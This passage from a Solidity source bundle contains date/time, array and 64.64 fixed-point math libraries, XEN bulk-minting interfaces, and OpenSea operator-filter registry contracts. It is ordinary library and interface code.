N = 4 * L / 146097\n // L = L - (146097 * N + 3) / 4\n // year = 4000 * (L + 1) / 1461001\n // L = L - 1461 * year / 4 + 31\n // month = 80 * L / 2447\n // dd = L - 2447 * month / 80\n // L = month / 11\n // month = month + 2 - 12 * L\n // year = 100 * (N - 49) + year + L\n // ------------------------------------------------------------------------\n function _daysToDate(uint256 _days)\n private\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n int256 __days = int256(_days);\n\n int256 L = __days + 68569 + _OFFSET19700101;\n int256 N = (4 * L) / 146097;\n L = L - (146097 * N + 3) / 4;\n int256 _year = (4000 * (L + 1)) / 1461001;\n L = L - (1461 * _year) / 4 + 31;\n int256 _month = (80 * L) / 2447;\n int256 _day = L - (2447 * _month) / 80;\n L = _month / 11;\n _month = _month + 2 - 12 * L;\n _year = 100 * (N - 49) + _year + L;\n\n year = uint256(_year);\n month = uint256(_month);\n day = uint256(_day);\n }\n\n function timestampFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (uint256 timestamp) {\n timestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY;\n }\n\n function timestampFromDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (uint256 timestamp) {\n timestamp =\n _daysFromDate(year, month, day) *\n _SECONDS_PER_DAY +\n hour *\n _SECONDS_PER_HOUR +\n minute *\n _SECONDS_PER_MINUTE +\n second;\n }\n\n function timestampToDate(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function timestampToDateTime(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n secs = secs % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n second = secs % _SECONDS_PER_MINUTE;\n }\n\n function isValidDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (bool valid) {\n if (year >= 1970 && month > 0 && month <= 12) {\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > 0 && day <= daysInMonth) {\n valid = true;\n }\n }\n }\n\n function isValidDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (bool valid) {\n if (isValidDate(year, month, day)) {\n if (hour < 24 && minute < 60 && second < 60) {\n valid = true;\n }\n }\n }\n\n function isLeapYear(uint256 timestamp) internal pure returns (bool leapYear) {\n (uint256 year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n leapYear = _isLeapYear(year);\n }\n\n function _isLeapYear(uint256 year) private pure returns (bool leapYear) {\n leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);\n }\n\n function isWeekDay(uint256 timestamp) internal pure returns (bool weekDay) {\n weekDay = getDayOfWeek(timestamp) <= _DOW_FRI;\n }\n\n function isWeekEnd(uint256 timestamp) internal pure returns (bool weekEnd) {\n weekEnd = getDayOfWeek(timestamp) >= _DOW_SAT;\n }\n\n function getDaysInMonth(uint256 timestamp) internal pure returns (uint256 daysInMonth) {\n (uint256 year, uint256 month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n daysInMonth = _getDaysInMonth(year, month);\n }\n\n function _getDaysInMonth(uint256 year, uint256 month) private pure returns (uint256 daysInMonth) {\n if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {\n daysInMonth = 31;\n } else if (month != 2) {\n daysInMonth = 30;\n } else {\n daysInMonth = _isLeapYear(year) ? 29 : 28;\n }\n }\n\n // 1 = Monday, 7 = Sunday\n function getDayOfWeek(uint256 timestamp) internal pure returns (uint256 dayOfWeek) {\n uint256 _days = timestamp / _SECONDS_PER_DAY;\n dayOfWeek = ((_days + 3) % 7) + 1;\n }\n\n function getYear(uint256 timestamp) internal pure returns (uint256 year) {\n (year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getMonth(uint256 timestamp) internal pure returns (uint256 month) {\n (, month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getDay(uint256 timestamp) internal pure returns (uint256 day) {\n (, , day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getHour(uint256 timestamp) internal pure returns (uint256 hour) {\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n }\n\n function getMinute(uint256 timestamp) internal pure returns (uint256 minute) {\n uint256 secs = timestamp % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n }\n\n function getSecond(uint256 timestamp) internal pure returns (uint256 second) {\n second = timestamp % _SECONDS_PER_MINUTE;\n }\n\n function addYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year += _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n month += _months;\n year += (month - 1) / 12;\n month = ((month - 1) % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _days * _SECONDS_PER_DAY;\n require(newTimestamp >= timestamp);\n }\n\n function addHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _hours * _SECONDS_PER_HOUR;\n require(newTimestamp >= timestamp);\n }\n\n function addMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp >= timestamp);\n }\n\n function addSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _seconds;\n require(newTimestamp >= timestamp);\n }\n\n function subYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year -= _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 yearMonth = year * 12 + (month - 1) - _months;\n year = yearMonth / 12;\n month = (yearMonth % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _days * _SECONDS_PER_DAY;\n require(newTimestamp <= timestamp);\n }\n\n function subHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _hours * _SECONDS_PER_HOUR;\n require(newTimestamp <= timestamp);\n }\n\n function subMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp <= timestamp);\n }\n\n function subSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _seconds;\n require(newTimestamp <= timestamp);\n }\n\n function diffYears(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _years) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, , ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, , ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _years = toYear - fromYear;\n }\n\n function diffMonths(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _months) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, uint256 fromMonth, ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, uint256 toMonth, ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;\n }\n\n function diffDays(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _days) {\n require(fromTimestamp <= toTimestamp);\n _days = (toTimestamp - fromTimestamp) / _SECONDS_PER_DAY;\n }\n\n function diffHours(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _hours) {\n require(fromTimestamp <= toTimestamp);\n _hours = (toTimestamp - fromTimestamp) / _SECONDS_PER_HOUR;\n }\n\n function diffMinutes(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _minutes) {\n require(fromTimestamp <= toTimestamp);\n _minutes = (toTimestamp - fromTimestamp) / _SECONDS_PER_MINUTE;\n }\n\n function diffSeconds(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _seconds) {\n require(fromTimestamp <= toTimestamp);\n _seconds = toTimestamp - fromTimestamp;\n }\n}\n"
},
"/contracts/libs/Array.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary Array {\n function idx(uint256[] memory arr, uint256 item) internal pure returns (uint256 i) {\n for (i = 1; i <= arr.length; i++) {\n if (arr[i - 1] == item) {\n return i;\n }\n }\n i = 0;\n }\n\n function addItem(uint256[] storage arr, uint256 item) internal {\n if (idx(arr, item) == 0) {\n arr.push(item);\n }\n }\n\n function removeItem(uint256[] storage arr, uint256 item) internal {\n uint256 i = idx(arr, item);\n if (i > 0) {\n arr[i - 1] = arr[arr.length - 1];\n arr.pop();\n }\n }\n\n function contains(uint256[] memory container, uint256[] memory items) internal pure returns (bool) {\n if (items.length == 0) return true;\n for (uint256 i = 0; i < items.length; i++) {\n bool itemIsContained = false;\n for (uint256 j = 0; j < container.length; j++) {\n itemIsContained = items[i] == container[j];\n }\n if (!itemIsContained) return false;\n }\n return true;\n }\n\n function asSingletonArray(uint256 element) internal pure returns (uint256[] memory) {\n uint256[] memory array = new uint256[](1);\n array[0] = element;\n return array;\n }\n\n function hasDuplicatesOrZeros(uint256[] memory array) internal pure returns (bool) {\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0) return true;\n for (uint256 j = 0; j < array.length; j++) {\n if (array[i] == array[j] && i != j) return true;\n }\n }\n return false;\n }\n\n function hasRoguesOrZeros(uint256[] memory array) internal pure returns (bool) {\n uint256 _first = array[0];\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0 || array[i] != _first) return true;\n }\n return false;\n }\n}\n"
},
"/contracts/interfaces/IXENTorrent.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENTorrent {\n event StartTorrent(address indexed user, uint256 count, uint256 term);\n event EndTorrent(address indexed user, uint256 tokenId, address to);\n\n function bulkClaimRank(uint256 count, uint256 term) external returns (uint256);\n\n function bulkClaimMintReward(uint256 tokenId, address to) external;\n}\n"
},
"/contracts/interfaces/IXENProxying.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENProxying {\n function callClaimRank(uint256 term) external;\n\n function callClaimMintReward(address to) external;\n\n function powerDown() external;\n}\n"
},
"/contracts/interfaces/IERC2771.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IERC2771 {\n function isTrustedForwarder(address forwarder) external;\n}\n"
},
"operator-filter-registry/src/OperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {IOperatorFilterRegistry} from \"./IOperatorFilterRegistry.sol\";\n\n/**\n * @title OperatorFilterer\n * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another\n * registrant's entries in the OperatorFilterRegistry.\n * @dev This smart contract is meant to be inherited by token contracts so they can use the following:\n * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.\n * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.\n */\nabstract contract OperatorFilterer {\n error OperatorNotAllowed(address operator);\n\n IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY =\n IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n\n constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {\n // If an inheriting token contract is deployed to a network without the registry deployed, the modifier\n // will not revert, but the contract will need to be registered with the registry once it is deployed in\n // order for the modifier to filter addresses.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (subscribe) {\n OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);\n } else {\n if (subscriptionOrRegistrantToCopy != address(0)) {\n OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);\n } else {\n OPERATOR_FILTER_REGISTRY.register(address(this));\n }\n }\n }\n }\n\n modifier onlyAllowedOperator(address from) virtual {\n // Allow spending tokens from addresses with balance\n // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred\n // from an EOA.\n if (from != msg.sender) {\n _checkFilterOperator(msg.sender);\n }\n _;\n }\n\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n _checkFilterOperator(operator);\n _;\n }\n\n function _checkFilterOperator(address operator) internal view virtual {\n // Check registry code length to facilitate testing in environments without a deployed registry.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {\n revert OperatorNotAllowed(operator);\n }\n }\n }\n}\n"
},
"operator-filter-registry/src/IOperatorFilterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ninterface IOperatorFilterRegistry {\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n function register(address registrant) external;\n function registerAndSubscribe(address registrant, address subscription) external;\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n function unregister(address addr) external;\n function updateOperator(address registrant, address operator, bool filtered) external;\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n function subscribe(address registrant, address registrantToSubscribe) external;\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n function subscriptionOf(address addr) external returns (address registrant);\n function subscribers(address registrant) external returns (address[] memory);\n function subscriberAt(address registrant, uint256 index) external returns (address);\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n function filteredOperators(address addr) external returns (address[] memory);\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n function isRegistered(address addr) external returns (bool);\n function codeHashOf(address addr) external returns (bytes32);\n}\n"
},
"operator-filter-registry/src/DefaultOperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {OperatorFilterer} from \"./OperatorFilterer.sol\";\n\n/**\n * @title DefaultOperatorFilterer\n * @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription.\n */\nabstract contract DefaultOperatorFilterer is OperatorFilterer {\n address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);\n\n constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}\n}\n"
},
"abdk-libraries-solidity/ABDKMath64x64.sol": {
"content": "// SPDX-License-Identifier: BSD-4-Clause\n/*\n * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting.\n * Author: Mikhail Vladimirov <[email protected]>\n */\npragma solidity ^0.8.0;\n\n/**\n * Smart contract library of mathematical functions operating with signed\n * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is\n * basically a simple fraction whose numerator is signed 128-bit integer and\n * denominator is 2^64. As long as denominator is always the same, there is no\n * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are\n * represented by int128 type holding only the numerator.\n */\nlibrary ABDKMath64x64 {\n /*\n * Minimum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;\n\n /*\n * Maximum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n /**\n * Convert signed 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromInt (int256 x) internal pure returns (int128) {\n unchecked {\n require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (x << 64);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 64-bit integer number\n * rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64-bit integer number\n */\n function toInt (int128 x) internal pure returns (int64) {\n unchecked {\n return int64 (x >> 64);\n }\n }\n\n /**\n * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromUInt (uint256 x) internal pure returns (int128) {\n unchecked {\n require (x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (int256 (x << 64));\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into unsigned 64-bit integer\n * number rounding down. Revert on underflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return unsigned 64-bit integer number\n */\n function toUInt (int128 x) internal pure returns (uint64) {\n unchecked {\n require (x >= 0);\n return uint64 (uint128 (x >> 64));\n }\n }\n\n /**\n * Convert signed 128.128 fixed point number into signed 64.64-bit fixed point\n * number rounding down. Revert on overflow.\n *\n * @param x signed 128.128-bin fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function from128x128 (int256 x) internal pure returns (int128) {\n unchecked {\n int256 result = x >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 128.128 fixed point\n * number.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 128.128 fixed point number\n */\n function to128x128 (int128 x) internal pure returns (int256) {\n unchecked {\n return int256 (x) << 64;\n }\n }\n\n /**\n * Calculate x + y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function add (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) + y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x - y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sub (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) - y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding down. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function mul (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) * y >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point\n * number and y is signed 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y signed 256-bit integer number\n * @return signed 256-bit integer number\n */\n function muli (int128 x, int256 y) internal pure returns (int256) {\n unchecked {\n if (x == MIN_64x64) {\n require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF &&\n y <= 0x1000000000000000000000000000000000000000000000000);\n return -y << 63;\n } else {\n bool negativeResult = false;\n if (x < 0) {\n x = -x;\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint256 absoluteResult = mulu (x, uint256 (y));\n if (negativeResult) {\n require (absoluteResult <=\n 0x8000000000000000000000000000000000000000000000000000000000000000);\n return -int256 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int256 (absoluteResult);\n }\n }\n }\n }\n\n /**\n * Calculate x * y rounding down, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y unsigned 256-bit integer number\n * @return unsigned 256-bit integer number\n */\n function mulu (int128 x, uint256 y) internal pure returns (uint256) {\n unchecked {\n if (y == 0) return 0;\n\n require (x >= 0);\n\n uint256 lo = (uint256 (int256 (x)) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;\n uint256 hi = uint256 (int256 (x)) * (y >> 128);\n\n require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n hi <<= 64;\n\n require (hi <=\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo);\n return hi + lo;\n }\n }\n\n /**\n * Calculate x / y rounding towards zero. Revert on overflow or when y is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function div (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n int256 result = (int256 (x) << 64) / y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are signed 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x signed 256-bit integer number\n * @param y signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divi (int256 x, int256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n\n bool negativeResult = false;\n if (x < 0) {\n x = -x; // We rely on overflow behavior here\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint128 absoluteResult = divuu (uint256 (x), uint256 (y));\n if (negativeResult) {\n require (absoluteResult <= 0x80000000000000000000000000000000);\n return -int128 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int128 (absoluteResult); // We rely on overflow behavior here\n }\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divu (uint256 x, uint256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n uint128 result = divuu (x, y);\n require (result <= uint128 (MAX_64x64));\n return int128 (result);\n }\n }\n\n /**\n * Calculate -x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function neg (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return -x;\n }\n }\n\n /**\n * Calculate |x|. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function abs (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return x < 0 ? -x : x;\n }\n }\n\n /**\n * Calculate 1 / x rounding towards zero. Revert on overflow or when x is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function inv (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != 0);\n int256 result = int256 (0x100000000000000000000000000000000) / x;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function avg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n return int128 ((int256 (x) + int256 (y)) >> 1);\n }\n }\n\n /**\n * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down.\n * Revert on overflow or in case x * y is negative.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function gavg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 m = int256 (x) * int256 (y);\n require (m >= 0);\n require (m <\n 0x4000000000000000000000000000000000000000000000000000000000000000);\n return int128 (sqrtu (uint256 (m)));\n }\n }\n\n /**\n * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y uint256 value\n * @return signed 64.64-bit fixed point number\n */\n function pow (int128 x, uint256 y) internal pure returns (int128) {\n unchecked {\n bool negative = x < 0 && y & 1 == 1;\n\n uint256 absX = uint128 (x < 0 ? -x : x);\n uint256 absResult;\n absResult = 0x100000000000000000000000000000000;\n\n if (absX <= 0x10000000000000000) {\n absX <<= 63;\n while (y != 0) {\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x2 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x4 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x8 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n y >>= 4;\n }\n\n absResult >>= 64;\n } else {\n uint256 absXShift = 63;\n if (absX < 0x1000000000000000000000000) { absX <<= 32; absXShift -= 32; }\n if (absX < 0x10000000000000000000000000000) { absX <<= 16; absXShift -= 16; }\n if (absX < 0x1000000000000000000000000000000) { absX <<= 8; absXShift -= 8; }\n if (absX < 0x10000000000000000000000000000000) { absX <<= 4; absXShift -= 4; }\n if (absX < 0x40000000000000000000000000000000) { absX <<= 2; absXShift -= 2; }\n if (absX < 0x80000000000000000000000000000000) { absX <<= 1; absXShift -= 1; }\n\n uint256 resultShift = 0;\n while (y != 0) {\n require (absXShift < 64);\n\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n resultShift += absXShift;\n if (absResult > 0x100000000000000000000000000000000) {\n absResult >>= 1;\n resultShift += 1;\n }\n }\n absX = absX * absX >> 127;\n absXShift <<= 1;\n if (absX >= 0x100000000000000000000000000000000) {\n absX >>= 1;\n absXShift += 1;\n }\n\n y >>= 1;\n }\n\n require (resultShift < 64);\n absResult >>= 64 - resultShift;\n }\n int256 result = negative ? -int256 (absResult) : int256 (absResult);\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down. Revert if x < 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sqrt (int128 x) internal pure returns (int128) {\n unchecked {\n require (x >= 0);\n return int128 (sqrtu (uint256 (int256 (x)) << 64));\n }\n }\n\n /**\n * Calculate binary logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function log_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n int256 msb = 0;\n int256 xc = x;\n if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; }\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n int256 result = msb - 64 << 64;\n uint256 ux = uint256 (int256 (x)) << uint256 (127 - msb);\n for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) {\n ux *= 